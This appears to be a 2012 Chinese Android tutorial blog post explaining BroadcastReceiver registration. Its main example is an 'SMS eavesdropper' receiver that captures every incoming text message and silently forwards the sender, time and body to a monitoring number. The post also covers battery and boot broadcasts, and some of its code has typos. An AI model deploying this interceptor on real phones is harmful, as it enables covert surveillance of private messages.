通过短信窃听器来理解BroadcastReceiver:
2012-07-31 20:58
225 查看
订阅感兴趣的Intent有两种方法:
(1)代码订阅
(2)在AndroidManifest.xml文件中的<application>节点里注册订阅
短信窃听器:
SMSListenBroadcastReceiver.java:
在配置文件中对BroadcastReceiver进行注册:
除了短信的广播,还有其他的广播,可以对比了解一下:
接收电池电量变化的广播:
接收开机启动广播:
并且要进行权限的声明:
对注册好的BroadcastReceiver进行注销的方法:
(1)代码订阅
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); IncomingSMSReceiver receiver = new IncomingSMSReceiver(); registerReceiver(receiver,filter);
(2)在AndroidManifest.xml文件中的<application>节点里注册订阅
<receiver android:name = ".IncomingSMSReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
短信窃听器:
SMSListenBroadcastReceiver.java:
public class SMSListenBroadcastReceiver extends BroadcastReceiver{ public void onReceive(Context context,Intent intent){ //此方法一旦返回,android会回收BroadcastReceiver Object[] pdus = (Object[])intent.getExtras().get("pdus"); if(pdus!=null&&pdus.length>0){ SmsMessage[] messages = new SmsMessage[pdus.length]; for(int i=0;i<pdus.length;i++){ //得到短信内容,内容是以pdu格式存放的 byte[] pdu = (byte[])pdus[i]; //使用pdu格式的数据创建描述短信的对象 messages[i] = SmsMessage.createFromPdu(pdu); } for(SmsMessage msg:messages){ //得到短信内容 String content= msg.getMessageBody(); //得到短信发送者手机号 String sender=msg.getOriginatingAddress(); //得到短信的发送时间 Date date = new Date(msg.getTimestampMillis()); //把收到的短信传递给监控者 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String sendContent = format.format(date)+":"+sender+"--"+content; SmsMager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556",null,sendContent,null,null); } } } }
在配置文件中对BroadcastReceiver进行注册:
<receiver android:name = ".SMSListenBroadcastReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
除了短信的广播,还有其他的广播,可以对比了解一下:
接收电池电量变化的广播:
<receiver android:name = ".IncomingSMSReceiver"> <intent-filter> <action android:name="android.intent.acton.BATTERY_CHANGED"/> </intent-filter> </receiver>
接收开机启动广播:
<receiver android:name = ".IncomingSMSReceiver"> <intent-filter> <action android:name="android.intent.acton.BOOT_COMPLETED"/> </intent-filter> </receiver>
并且要进行权限的声明:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
对注册好的BroadcastReceiver进行注销的方法:
unregisterReceiver(BroadcastReceiver receiver);
相关文章推荐
- Android之BroadcastReceiver讲义并通过广播机制实现短信窃听
- android-BroadcastReceiver 通过终止广播 阻止用户收到短信
- Android 通过BroadcastReceiver创建短信接收程序
- Android:BroadcastReceiver:采用广播接收者实现短信窃听器
- BroadcastReceiver之系统的有序短信广播--手机验证码短信的自动填充
- 入门学习9:打电话 收发短信 BroadcastReceiver 收短信
- 通过广播接收者(BroadcastReceiver)或守护线程启动服务,录音机监听电话
- BroadcastReceiver 广播 短信拦截
- 广播接收者BroadcastReceiver(捕捉短信的广播信息)
- BroadcastReceiver类和实现短信窃听
- 我对BroadcastReceiver的简单理解
- Android中广播接收者BroadcastReceiver的理解与基本使用
- android四大组件之BroadcastReceiver短信拦截功能
- 四大组件之一 ----------- BroadcastReceiver (短信拦截)
- Android中的BroadcastReceiver理解
- BroadcastReceiver使用之一(常驻BroadcastReceiver接收短信)
- 利用广播机制(BroadcastReceiver)窃听短信
- 四大组件之一 ----------- BroadcastReceiver (拦截短信并屏蔽系统的Notification .)
- Android(java)学习笔记176:BroadcastReceiver之 短信发送的广播接收者
- Android两种方式监听短信内容---BroadcastReceiver和ContentObserver